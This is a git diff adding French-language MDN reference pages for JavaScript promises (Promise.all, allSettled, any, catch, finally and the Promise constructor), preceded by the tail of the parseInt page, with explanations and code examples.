+console.log(filterInt('421'));               // 421
+console.log(filterInt('-421'));              // -421
+console.log(filterInt('+421'));              // 421
+console.log(filterInt('Infinity'));          // Infinity
+console.log(filterInt('421e+0'));            // NaN
+console.log(filterInt('421hop'));            // NaN
+console.log(filterInt('hop1.61803398875'));  // NaN
+console.log(filterInt('1.61803398875'));     // NaN
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.2.2', 'parseInt')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-parseint-string-radix', 'parseInt')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-parseint-string-radix', 'parseInt')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.parseInt")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Objets_globaux/parseFloat", "parseFloat()")}}
    • +
  • {{jsxref("Number.parseFloat()")}}
    • +
  • {{jsxref("Number.parseInt()")}}
    • +
  • {{jsxref("Objets_globaux/isNaN", "isNaN()")}}
    • +
  • {{jsxref("Number.toString()")}}
    • +
  • {{jsxref("Object.valueOf")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/promise/all/index.html b/files/fr/web/javascript/reference/global_objects/promise/all/index.html new file mode 100644 index 0000000000..4cc24f3cc5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/promise/all/index.html @@ -0,0 +1,226 @@ +--- +title: Promise.all() +slug: Web/JavaScript/Reference/Objets_globaux/Promise/all +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Promise + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all +--- +
{{JSRef}}
+ +

La méthode Promise.all() renvoie une promesse ({{jsxref("Promise")}}) qui est résolue lorsque l'ensemble des promesses contenues dans l'itérable passé en argument ont été résolues ou qui échoue avec la raison de la première promesse qui échoue au sein de l'itérable.

+ +
{{EmbedInteractiveExample("pages/js/promise-all.html")}}
+ + + +

Syntaxe

+ +
Promise.all(iterable);
+ +

Paramètres

+ +
+
iterable
+
Un objet itérable (tel qu'un tableau ({{jsxref("Array")}})) contenant des promesses.
+
+ +

Valeur de retour

+ +

Un objet {{jsxref("Promise")}} qui est

+ +
    +
  • résolue immédiatement si l'itérable passé en argument est vide
    • +
  • résolue de façon asynchrone si l'itérable passé en argument ne contient aucune promesse (Chrome 58 renvoie immédiatement une promesse résolue dans ce cas)
    • +
  • en attente de résolution asynchrone dans les autres cas.
    • +
+ +

Description

+ +

Cette méthode peut être utile lorsqu'on souhaite agréger le résultat de plusieurs promesses.

+ +
+
Valeur de résolution
+
Si toutes les promesses de l'itérable sont tenues, Promise.all est tenue et la valeur de résolution est un tableau qui contient les valeurs de résolution respectives des promesses de l'itérable (dans le même ordre). Si l'argument utilisé est un tableau vide, la méthode résoud la promesse immédiatement et de façon synchrone.
+
Valeur d'échec
+
Si l'une des promesses de l'itérable échoue, Promise.all échoue immédiatement et utilise la raison de l'échec (que les autres promesses aient été résolues ou non).
+
+ +

Exemples

+ +

Utiliser Promise.all()

+ +

Promise.all() attend que l'ensemble des promesses soient tenues ou qu'une promesse soit rompue :

+ +
var p1 = Promise.resolve(3);
+var p2 = 1337;
+var p3 = new Promise((resolve, reject) => {
+  setTimeout(resolve, 100, 'foo');
+});
+
+Promise.all([p1, p2, p3]).then(values => {
+  console.log(values); // [3, 1337, "foo"]
+});
+ +

Promise.all(), un échec rapide

+ +

La promesse créée par Promise.all() échoue immédiatement si l'une des promesses échoue. Dans l'exemple suivant, on fournit quatre promesses qui sont résolues après une certaine durée et une autre promesse qui est rompue immédiatement : on peut alors voir que la promesse créée par Promise.all() est rompue immédiatement.

+ +
var p1 = new Promise((resolve, reject) => {
+  setTimeout(resolve, 1000, 'un');
+});
+var p2 = new Promise((resolve, reject) => {
+  setTimeout(resolve, 2000, 'deux');
+});
+var p3 = new Promise((resolve, reject) => {
+  setTimeout(resolve, 3000, 'trois');
+});
+var p4 = new Promise((resolve, reject) => {
+  setTimeout(resolve, 4000, 'quatre');
+});
+var p5 = new Promise((resolve, reject) => {
+  reject('rejet');
+});
+
+Promise.all([p1, p2, p3, p4, p5]).then(values => {
+  console.log(values);
+}, reason => {
+  console.log(reason)
+});
+
+// Dans la console :
+// "rejet"
+
+//On peut aussi employer .catch
+Promise.all([p1, p2, p3, p4, p5]).then(values => {
+  console.log(values);
+}).catch(reason => {
+  console.log(reason)
+});
+
+// Dans la console :
+// "rejet"
+
+
+ +

Il est possible de modifier ce comportement en gérant les éventuels échecs :

+ +
var p1 = new Promise((resolve, reject) => {
+  setTimeout(resolve, 1000, 'p1_resolution_retardee');
+});
+
+var p2 = new Promise((resolve, reject) => {
+  reject(new Error('p2_rejet_immediat'));
+});
+
+Promise.all([
+  p1.catch(error => { return error }),
+  p2.catch(error => { return error }),
+]).then(values => {
+  console.log(values[0]); // "p1_resolution_retardee"
+  console.log(values[1]); // "Error: p2_rejet_immediat"
+})
+
+ +

Caractère asynchrone de Promise.all()

+ +

Dans l'exemple qui suit, on illustre le caractère asynchrone de Promise.all() (et son caractère synchrone quand l'itérable passé en argument est vide) :

+ +
// On passe un tableau de promesses déjà résolues
+// afin de déclencher Promise.all dès que possible
+var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
+
+var p = Promise.all(resolvedPromisesArray);
+// on affiche la valeur de p dans la console
+console.log(p);
+
+// on utilise la méthode setTimeout pour exécuter
+// du code dès que la pile est vide
+setTimeout(function() {
+    console.log('La pile est vide');
+    console.log(p);
+});
+
+// Cela affichera dans la console (et dans cet ordre) :
+// Promise { <state>: "pending" }
+// La pile est vide
+// Promise { <state>: "fulfilled", <value>: Array[2] }
+
+ +

On aura le même comportement si Promise.all produit une promesse rompue :

+ +
var mixedPromisesArray = [Promise.resolve(33), Promise.reject(44)];
+var p = Promise.all(mixedPromisesArray);
+console.log(p);
+setTimeout(function() {
+    console.log('La pile est vide');
+    console.log(p);
+});
+
+// Affichera :
+// Promise { <state>: "pending" }
+// La pile est vide
+// Promise { <state>: "rejected", <reason>: 44 }
+
+ +

En revanche, Promise.all produit une promesse résolue de façon synchrone si et seulement si l'itérable est vide :

+ +
var p = Promise.all([]); // immédiatement résolue
+
+// les valeurs qui ne sont pas des promesses
+// seront ignorées mais l'évaluation sera effectuée
+// de façon asynchrone
+var p2 = Promise.all([1337, "hi"]);
+console.log(p);
+console.log(p2)
+setTimeout(function() {
+    console.log('La pile est vide');
+    console.log(p2);
+});
+
+// Affichera :
+// Promise { <state>: "fulfilled", <value>: Array[0] }
+// Promise { <state>: "pending" }
+// La pile est vide
+// Promise { <state>: "fulfilled", <value>: Array[2] }
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.all', 'Promise.all')}}{{Spec2('ES2015')}}Définition initiale dans un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Promise.all")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Promise")}}
    • +
  • {{jsxref("Promise.race()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/promise/allsettled/index.html b/files/fr/web/javascript/reference/global_objects/promise/allsettled/index.html new file mode 100644 index 0000000000..362df28f88 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/promise/allsettled/index.html @@ -0,0 +1,66 @@ +--- +title: Promise.allSettled() +slug: Web/JavaScript/Reference/Objets_globaux/Promise/allSettled +tags: + - JavaScript + - Méthode + - Promise + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/allSettled +--- +

{{JSRef}}

+ +

La méthode Promise.allSettled() renvoie une promesse qui est résolue une fois que l'ensemble des promesses de l'itérable passée en argument sont réussies ou rejetées. La valeur de résolution de cette promesse est un tableau d'objets dont chacun est le résultat de chaque promesse de l'itérable.

+ +
{{EmbedInteractiveExample("pages/js/promise-allsettled.html")}}
+ +

Syntaxe

+ +
p.allSettled(iterable);
+ +

Paramètres

+ +
+
iterable
+
Un objet itérable tel qu'un tableau ({{jsxref("Array")}}) dont chaque élément est une promesse ({{jsxref("Promise")}}.
+
+ +

Valeur de retour

+ +

Une promesse ({{jsxref("Promise")}}) en cours qui sera résolue de façon asynchrone une fois que chaque promesse de l'itérable a été résolue (tenue/réussie ou rejetée/échouée). Le gestionnaire passé à la promesse retournée recevra comme argument un tableau de valeur dont chacune est le résultat de chaque promesse de l'itérable initial.

+ +

Pour chaque objet contenu dans ce tableau, il y aura une propriété status qui est une chaîne de caractères. Si status vaut fulfilled, alors on aura une propriété value. Si status vaut rejected, alors une propriété reason sera présente. La valeur (ou la raison) reflète la valeur de résolution de la promesse.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Promise.allSettled() (Brouillon TC39 au niveau 4){{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Promise.allSettled")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/promise/any/index.html b/files/fr/web/javascript/reference/global_objects/promise/any/index.html new file mode 100644 index 0000000000..7ce571e20c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/promise/any/index.html @@ -0,0 +1,145 @@ +--- +title: Promise.any() +slug: Web/JavaScript/Reference/Objets_globaux/Promise/any +tags: + - JavaScript + - Method + - Méthode + - Promise + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any +--- +
{{JSRef}}
+ +

La méthode Promise.any() prend comme argument un itérable contenant des objets {{JSxRef("Promise")}} et, dès qu'une des promesses de cet itérable est tenue, renvoie une unique promesse résolue avec la valeur de la promesse résolue. Si aucune promesse de l'itérable n'est tenue (c'est-à-dire si toutes les promesses sont rejetées), la promesse renvoyée est rompue avec un objet {{JSxRef("Objets_globaux/AggregateError", "AggregateError")}} (une nouvelle sous-classe de {{JSxRef("Error")}} qui regroupe un ensemble d'erreurs). Cette méthode fait essentiellement le contraire de {{JSxRef("Promise.all()")}} (qui renvoie une promesse tenue uniquement si toutes les promesses de l'itérable passé en argument ont été tenues).

+ +

{{EmbedInteractiveExample("pages/js/promise-any.html")}}

+ +

Syntaxe

+ +
Promise.any(iterable);
+ +

Paramètres

+ +
+
iterable
+
Un objet itérable tel qu'un tableau ({{JSxRef("Array")}}) contenant des promesses ({{jsxref("Promise")}}).
+
+ +

Valeur de retour

+ +
    +
  • Une promesse ({{jsxref("Promise")}}) déjà résolue si l'itérable passé en argument est vide.
    • +
  • Une promesse ({{jsxref("Promise")}}) résolue en asynchrone si l'itérable passé en argument ne contient pas de promesses.
    • +
  • Une promesse ({{jsxref("Promise")}}) en attente dans tous les autres cas. La promesse renvoyée est résolue (qu'elle soit tenue ou rompue) de façon asynchrone lorsqu'au moins une des promesses de l'itérable est tenue ou si toutes les promesses ont été rompues.
    • +
+ +

Description

+ +

Cette méthode est utile afin de renvoyer la première promesse tenue d'un ensemble de promesse. Elle permet de court-circuiter dès qu'une promesse est tenue, sans attendre que les autres promesses soient résolues. Contrairement à {{JSxRef("Promise.all()")}} qui renvoie un tableau avec les valeurs de résolution des promesses, on a ici une seule valeur de résolution (celle de la première promesse tenue). Ce peut être bénéfique lorsqu'on a un ensemble de promesses et qu'on ne souhaite en résoudre qu'une sans se soucier de savoir laquelle des promesses a été tenue en premier.

+ +

À la différence de {{JSxRef("Promise.race()")}} qui renvoie la valeur de la première promesse résolue (qu'elle ait été tenue ou rompue), Promise.any() renvoie une promesse avec la valeur de la première promesse tenue. Cette méthode ignore les promesses qui sont rompues jusqu'à obtenir une promesse tenue.

+ +

Une des promesses est tenue

+ +

La promesse renvoyée par Promise.any() est résolue avec la première valeur résolue de l'itérable, qu'il s'agisse d'une promesse ou non, et que les autres promesses de l'itérable aient échoué ou non.

+ +
    +
  • Si une des promesses de l'itérable (non vide) est tenue ou que les valeurs fournies dans l'itérable ne sont pas des promesses, alors la promesse renvoyée par Promise.any() est résolue de façon asynchrone.
    • +
+ +

Toutes les promesses sont rompues

+ +

Si toutes les promesses de l'itérable échouent, Promise.any() échoue de asynchrone avec pour valeur d'échec un objet {{JSxRef("Objets_globaux/AggregateError", "AggregateError")}}, qui étend {{JSxRef("Error")}}, et contient une propriété errors qui est un tableau contenant l'ensemble des valeurs d'échec des différentes promesses de l'itérable.

+ +
    +
  • Si l'itérable reçu était vide, alors la promesse retournée par cette méthode est rejetée de manière synchrone et la propriété errors de l'objet AggregateError est un tableau vide.
    • +
+ +

Exemples

+ +

Première résolue

+ +

Promise.any() prend pour valeur de résolution celle de la première promesse résolue, et ce même si une des promesses de l'itérable a échoué avant. Ce comportement est différent de ce {{JSxRef("Promise.race()")}}, qui s'arrête à la première promesse qui se termine avec sa valeur de résolution ou d'échec.

+ +
const pErr = new Promise((resolve, reject) => {
+  reject("J'échoue toujours");
+});
+
+const pLente = new Promise((resolve, reject) => {
+  setTimeout(resolve, 500, "Éventuellement résolue");
+});
+
+const pRapide = new Promise((resolve, reject) => {
+  setTimeout(resolve, 100, "Rapidement résolue");
+});
+
+Promise.any([pErr, pLente, pRapide]).then((valeur) => {
+  console.log(valeur);
+  // pRapide s'est résolue en premier
+});
+// résultat attendu : "Rapidement résolue"
+ +

Échec avec AggregateError

+ +

Promise.any() échoue avec un objet {{JSxRef("AggregateError")}} si aucun des promesses n'est résolue.

+ +
const pErr = new Promise((resolve, reject) => {
+  reject("J'échoue toujours");
+});
+
+Promise.any([pErr]).catch((err) => {
+  console.log(err);
+})
+// résultat attendu : "AggregateError: No Promise in Promise.any was resolved"
+ +

Afficher la première image chargée

+ +

Dans cet exemple, nous avons une fonction qui requête une image et retourne un Blob. Nous utilisons Promise.any() pour requêter plusieurs images et afficher la première qui nous sera disponible (c'est-à-dire dont la promesse sera résolue).

+ +
function fetchAndDecode(url) {
+  return fetch(url).then(réponse => {
+    if (!réponse.ok)
+      throw new Error(`Erreur HTTP ! état : ${response.status}`);
+    else
+      return réponse.blob();
+  })
+}
+
+let café = fetchAndDecode('coffee.jpg');
+let thé = fetchAndDecode('tea.jpg');
+
+Promise.any([café, thé]).then(valeur => {
+  let URLobjet = URL.createObjectURL(valeur);
+  let image = document.createElement('img');
+  image.src = URLobjet;
+  document.body.appendChild(image);
+})
+.catch(e => {
+  console.log(e.message);
+});
+ +

Spécifications

+ + + + + + + + + + +
Spécification
{{SpecName('Promise.any')}}
+ +

Compatibilité des navigateurs

+ +

{{Compat("javascript.builtins.Promise.any")}}

+ +

Voir aussi

+ +
    +
  • {{JSxRef("Promise")}}
    • +
  • {{JSxRef("Promise.all()")}}
    • +
  • {{JSxRef("Promise.race()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/promise/catch/index.html b/files/fr/web/javascript/reference/global_objects/promise/catch/index.html new file mode 100644 index 0000000000..6fd60b4c6d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/promise/catch/index.html @@ -0,0 +1,164 @@ +--- +title: Promise.prototype.catch() +slug: Web/JavaScript/Reference/Objets_globaux/Promise/catch +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Promise + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch +--- +
{{JSRef}}
+ +

La méthode catch() renvoie un objet {{jsxref("Promise")}} et ne traite que des cas où la promesse initiale est rejetée. Elle a le même effet qu'un appel à {{jsxref("Promise.then", "Promise.prototype.then(undefined, siRejetée)")}} (c'est en fait ce qui se passe dans le moteur, obj.catch(onRejected) est traduit en obj.then(undefined, onRejected)). Cela signifie qu'il est nécessaire de fournir une fonction onRejected, même si on souhaite avoir une valeur de secours qui est undefined (par exemple avec obj.catch(() => {}).

+ +
{{EmbedInteractiveExample("pages/js/promise-catch.html")}}
+ + + +

Syntaxe

+ +
p.catch(siRejetée);
+
+p.catch(function(raison) {
+   // rejet
+});
+
+ +

Paramètres

+ +
+
siRejetée
+
Une {{jsxref("Function","fonction","",1)}} à appeler si la Promise est rejetée (i.e. n'est pas tenue). Cette fonction possède un argument : +
+
raison
+
Une chaîne de caractères qui indique pourquoi la promesse n'est pas tenue.
+
+ +

La promesse renvoyée par la méthode catch() est rompue si siRejetée lève une erreur ou si elle renvoie une promesse rompue. Dans les autres cas, elle est tenue.

+
+
+ +

Valeur de retour

+ +

Une promesse ({{jsxref("Promise")}}).

+ +

Description

+ +

La méthode catch() est utile pour gérer les cas d'erreur en cas de compositions de plusieurs promesses. Elle renvoie elle-même une promesse et peut donc être utilisée lorsqu'on chaîne des promesses, à l'instar de la méthode sœur qu'est {{jsxref("Promise.prototype.then()")}}.

+ +

Exemples

+ +

Utilisation de la méthode catch

+ +
var p1 = new Promise(function(resolve, reject) {
+  resolve("Succès");
+});
+
+p1.then(function(value) {
+  console.log(value); // "Succès!"
+  throw new Error("zut !");
+}).catch(function(e) {
+  console.error(e.message); // "zut !"
+}).then(function(e) {
+   console.log('après le catch, la chaîne est restaurée');
+});
+
+// Le code qui suit est équivalent :
+p1.then(function(value) {
+  console.log(value); // "Succès!"
+  return Promise.reject('zut !');
+}).catch(function(e) {
+  console.log(e); // "zut !"
+}).then(function(e){
+  console.log('après le catch, la chaîne est restaurée');
+});
+
+ +

Les promesses n'interceptent pas les exceptions levées de façon asynchrone

+ +
var p1 = new Promise(function(resolve, reject) {
+  throw new Error('Oh oh!');
+});
+
+p1.catch(function(e) {
+  console.log(e.message); // "Oh oh!"
+});
+
+var p2 = new Promise(function(resolve, reject) {
+  setTimeout(function() {
+    throw new Error('Exception invisible !');
+  }, 1000);
+});
+
+p2.catch(function(e) {
+  console.log(e.message); // Cela n'est jamais appelé
+});
+ +

Démonstration de l'appel interne à then

+ +
// On surcharge Promise.prototype.then/catch
+// pour y ajouter des logs
+(function(Promise){
+    var originalThen = Promise.prototype.then;
+    var originalCatch = Promise.prototype.catch;
+
+    Promise.prototype.then = function(){
+        console.log('> > > > > > appel de .then sur %o avec les arguments: %o', this, arguments);
+        return originalThen.apply(this, arguments);
+    };
+    Promise.prototype.catch = function(){
+        console.log('> > > > > > appel de .catch sur %o avec les arguments: %o', this, arguments);
+        return originalCatch.apply(this, arguments);
+    };
+
+})(this.Promise);
+
+
+
+// On appelle catch sur une promesse déjà résolue
+Promise.resolve().catch(function XXX(){});
+
+// Dans la console, on aura :
+// > > > > > > appel de .catch sur Promise{} avec les arguments: Arguments{1} [0: function XXX()]
+// > > > > > > appel de .then sur Promise{} avec les arguments: Arguments{2} [0: undefined, 1: function XXX()]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Promise.catch")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Promise")}}
    • +
  • {{jsxref("Promise.prototype.then()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/promise/finally/index.html b/files/fr/web/javascript/reference/global_objects/promise/finally/index.html new file mode 100644 index 0000000000..b880bc4166 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/promise/finally/index.html @@ -0,0 +1,106 @@ +--- +title: Promise.prototype.finally() +slug: Web/JavaScript/Reference/Objets_globaux/Promise/finally +tags: + - JavaScript + - Méthode + - Promises + - Reference + - finally +translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally +--- +
{{JSRef}}
+ +

La méthode finally() renvoie un objet Promise et accepte en argument une fonction de callback qui est appelée lorsque la promesse a été résolue (qu'elle ait été tenue ou rejetée). Cela permet d'exécuter du code une fois que la promesse a été traitée, quel que soit le résultat. On évite ainsi de dupliquer du code entre les gestionnaires {{jsxref("Promise.then", "then()")}} et {{jsxref("Promise.catch", "catch()")}}.

+ +

Syntaxe

+ +
p.finally(onFinally);
+
+p.finally(function() {
+   // appelée dans tous les
+   // cas de terminaison
+});
+
+ +

Paramètres

+ +
+
onFinally
+
Une fonction (objet {{jsxref("Function")}}) appelé lorsque la promesse courante est résolue.
+
+ +

Valeur de retour

+ +

Cette méthode renvoie un objet {{jsxref("Promise")}}.

+ +

Description

+ +

La méthode finally peut être utile si on souhaite effectuer un traitement ou du nettoyage (fermetures de flux, libération de ressources, etc.) une fois qu'une promesse est résolue, quel que soit l'état de la résolution (tenue ou rejetée).

+ +

La méthode finally est similaire à l'utilisation de la forme .then(onFinally, onFinally), on notera toutefois quelques différences :

+ +
    +
  • Lorsqu'on crée une fonction en ligne, on peut ne la passer qu'une seule fois et éviter d'avoir à déclarer une variable ou à la déclarer à deux reprises.
    • +
  • Un callback finally ne recevra pas d'argument car on ne peut pas savoir si la promesse a été tenue ou rompue. Cette fonction est précisément appelée lorsqu'on ne s'intéresse pas à la raison du rejet ou à la réussite de la promesse. Une telle valeur est donc superflue. Ainsi : +
      +
    • À la différence de Promise.resolve(2).then(() => {}, () => {}) qui sera résolue avec la valeur {{jsxref("undefined")}}, Promise.resolve(2).finally(() => {}) sera résolue avec la valeur 2.
      • +
    • De même, à la différence de Promise.reject(3).then(() => {}, () => {}) qui sera résolue avec la valeur undefined, Promise.reject(3).finally(() => {}) sera rejetée avec 3.
      • +
    +
    • +
+ +
+

Note : Toutefois, on notera qu'utiliser throw (ou que renvoyer une promesse rompue) dans le callback finally rejettera la promesse avec l'exception indiquée dans l'appel à throw.

+
+ +

Exemples

+ +
let isLoading = true;
+
+fetch(myRequest).then(function(response) {
+    var contentType = response.headers.get("content-type");
+    if(contentType && contentType.includes("application/json")) {
+      return response.json();
+    }
+    throw new TypeError("Oups, ceci n'est pas du JSON !");
+  })
+  .then(function(json) { /* traiter le JSON */ })
+  .catch(function(error) { console.log(error);
+       /* La ligne précédent peut aussi déclencher une
+          erreur (si console vaut {} par exemple) */
+   })
+  .finally(function() { isLoading = false; });
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-promise.prototype.finally', 'Promise.prototype.finally')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Promise.finally")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Promise")}}
    • +
  • {{jsxref("Promise.prototype.then()")}}
    • +
  • {{jsxref("Promise.prototype.catch()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/promise/index.html b/files/fr/web/javascript/reference/global_objects/promise/index.html new file mode 100644 index 0000000000..36624cf3eb --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/promise/index.html @@ -0,0 +1,243 @@ +--- +title: Promise +slug: Web/JavaScript/Reference/Objets_globaux/Promise +tags: + - ECMAScript 2015 + - JavaScript + - Promise + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Promise +--- +
{{JSRef}}
+ +

L'objet Promise (pour « promesse ») est utilisé pour réaliser des traitements de façon asynchrone. Une promesse représente une valeur qui peut être disponible maintenant, dans le futur voire jamais.

+ +
+

Note : Cet article décrit le constructeur Promise. Pour en savoir plus sur les promesses en général, nous vous conseillons de lire l'article Utiliser les promesses. Le constructeur Promise est principalement utilisé pour envelopper des fonctions qui ne prennent pas en charge les promesses.

+
+ +
{{EmbedInteractiveExample("pages/js/promise-constructor.html")}}
+ + + +

Syntaxe

+ +
new Promise( /* exécuteur */ function(resolve, reject) { ... } );
+ +

Paramètres

+ +
+
exécuteur
+
Une fonction à laquelle on passera deux arguments : resolve et reject. Cette fonction est exécutée immédiatement par l'implémentation de Promise qui fournit les fonctions resolve et reject (elle est exécutée avant que le constructeur Promise ait renvoyé l'objet créé). Les fonctions resolve et reject, lorsqu'elles sont appelées, permettent respectivement de tenir ou de rompre la promesse. On attend de l'exécuteur qu'il démarre un travail asynchrone puis, une fois le travail terminé, appelle la fonction resolve (si tout s'est bien passé) ou la fonction reject (lorsqu'il y a eu un problème) pour définir l'état final de la promesse.
+ Si une erreur est générée par l'exécuteur, la promesse est rompue et la valeur de retour de l'exécuteur est ignorée.
+
+ +

Description

+ +

L'interface Promise représente un intermédiaire (proxy) vers une valeur qui n'est pas nécessairement connue au moment de sa création. Cela permet d'associer des gestionnaires au succès éventuel d'une action asynchrone et à la raison d'une erreur. Ainsi, des méthodes asynchrones renvoient des valeurs comme les méthodes synchrones, la seule différence est que la valeur retournée par la méthode asynchrone est une promesse (d'avoir une valeur plus tard).

+ +

Une Promise est dans un de ces états :

+ +
    +
  • pending (en attente) : état initial, la promesse n'est ni remplie, ni rompue ;
    • +
  • fulfilled (tenue) : l'opération a réussi ;
    • +
  • rejected (rompue) : l'opération a échoué ;
    • +
  • settled (acquittée) : la promesse est tenue ou rompue mais elle n'est plus en attente.
    • +
+ +

Une promesse en attente peut être tenue avec une valeur ou rompue avec une raison (erreur). Quand on arrive à l'une des deux situations, les gestionnaires associés lors de l'appel de la méthode then sont alors appelés. (Si la promesse a déjà été tenue ou rompue lorsque le gestionnaire est attaché à la promesse, le gestionnaire est appelé. Cela permet qu'il n'y ait pas de situation de compétition entre une opération asynchrone en cours et les gestionnaires ajoutés).

+ +

Les méthodes {{jsxref("Promise.then","Promise.prototype.then()")}} et {{jsxref("Promise.catch","Promise.prototype.catch()")}} renvoient des promesses et peuvent ainsi être chaînées. C'est ce qu'on appelle une composition.

+ +

+ +
+

Note: Une promesse est dans l'état settled (acquittée) qu'elle soit tenue ou rompue mais plus en attente. Le terme resolved (résolue) est aussi utilisé concernant les promesses — cela signifie que la promesse est acquittée ou bien enfermée dans une chaine de promesse. Le billet de Domenic Denicola, States and fates (en anglais), contient de plus amples détails sur la terminologie utilisée.

+
+ +
+

Attention : D'autres langages utilisent des mécanismes d'évaluation à la volée (lazy evaluation) et de déport des calculs (deferring computations). Ces mécanismes sont également intitulés promesses (promises). En JavaScript, les promesses correspondent à des processus déjà lancés et qui peuvent être chaînés avec des fonctions de retour. Si vous cherchez à retarder l'évaluation, vous pouvez utiliser les fonctions fléchées sans arguments (ex. f = () => expression) afin de créer une expression à évaluer plus tard et utiliser f() pour l'évaluer au moment voulu.

+
+ +

Propriétés

+ +
+
Promise.length
+
Une propriété de longueur qui vaut 1 (le nombre d'arguments pour le constructeur).
+
{{jsxref("Promise.prototype")}}
+
Cette propriété représente le prototype du constructeur Promise.
+
+ +

Méthodes

+ +
+
{{jsxref("Promise.all", "Promise.all(iterable)")}}
+
Renvoie une promesse tenue lorsque toutes les promesses de l'argument itérable sont tenues ou une promesse rompue dès qu'une promesse de l'argument itérable est rompue. Si la promesse est tenue, elle est résolue avec un tableau contenant les valeurs de résolution des différentes promesses contenues dans l'itérable (dans le même ordre que celui-ci). Si la promesse est rompue, elle contient la raison de la rupture de la part de la promesse en cause, contenue dans l'itérable. Cette méthode est utile pour agréger les résultats de plusieurs promesses tous ensemble.
+
{{jsxref("Promise.allSettled", "Promise.allSettled(iterable)")}}
+
Attend que l'ensemble des promesses aient été acquittées (tenues ou rompues) et renvoie une promesse qui est résolue après que chaque promesse ait été tenue ou rompue. La valeur de résolution de la promesse renvoyée est un tableau dont chaque élément est le résultat des promesses initiales.
+
{{jsxref("Promise.race", "Promise.race(iterable)")}}
+
Renvoie une promesse qui est tenue ou rompue dès que l'une des promesses de l'itérable est tenue ou rompue avec la valeur ou la raison correspondante.
+
+ +
+
{{jsxref("Promise.reject", "Promise.reject(raison)")}}
+
Renvoie un objet Promise qui est rompue avec la raison donnée.
+
+ +
+
{{jsxref("Promise.resolve", "Promise.resolve(valeur)")}}
+
Renvoie un objet Promise qui est tenue (résolue) avec la valeur donnée. Si la valeur possède une méthode then, la promesse renvoyée « suivra » cette méthode pour arriver dans son état, sinon la promesse renvoyée sera tenue avec la valeur fournie. Généralement, quand on veut savoir si une valeur est une promesse, on utilisera {{jsxref("Promise.resolve","Promise.resolve(valeur)")}} et on travaillera avec la valeur de retour en tant que promesse.
+
+ +

Prototype pour Promise

+ +

Propriétés

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise/prototype','Propriétés')}}

+ +

Méthodes

+ +

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise/prototype','Méthodes')}}

+ +

Exemples

+ +

Créer une promesse

+ +

Pour créer une promesse, on utilise l'opérateur new et le constructeur. Celui-ci prend en argument une fonction qui prend deux fonctions en paramètres. La première est appelée quand la tâche asynchrone est correctement terminée et la seconde est appelée quand la tâche échoue :

+ +
const maPremierePromesse = new Promise((resolve, reject) => {
+  // réaliser une tâche asynchrone et appeler :
+
+  // resolve(uneValeur); // si la promesse est tenue
+  // ou
+  // reject("raison d'echec"); // si elle est rompue
+});
+
+ +

On peut ainsi obtenir des fonctions asynchrones en renvoyant une promesse :

+ +
function maFonctionAsynchrone(url) {
+  return new Promise((resolve, reject) => {
+    const xhr = new XMLHttpRequest();
+    xhr.open("GET", url);
+    xhr.onload = () => resolve(xhr.responseText);
+    xhr.onerror = () => reject(xhr.statusText);
+    xhr.send();
+  });
+}
+ +

Exemple interactif

+ + + +

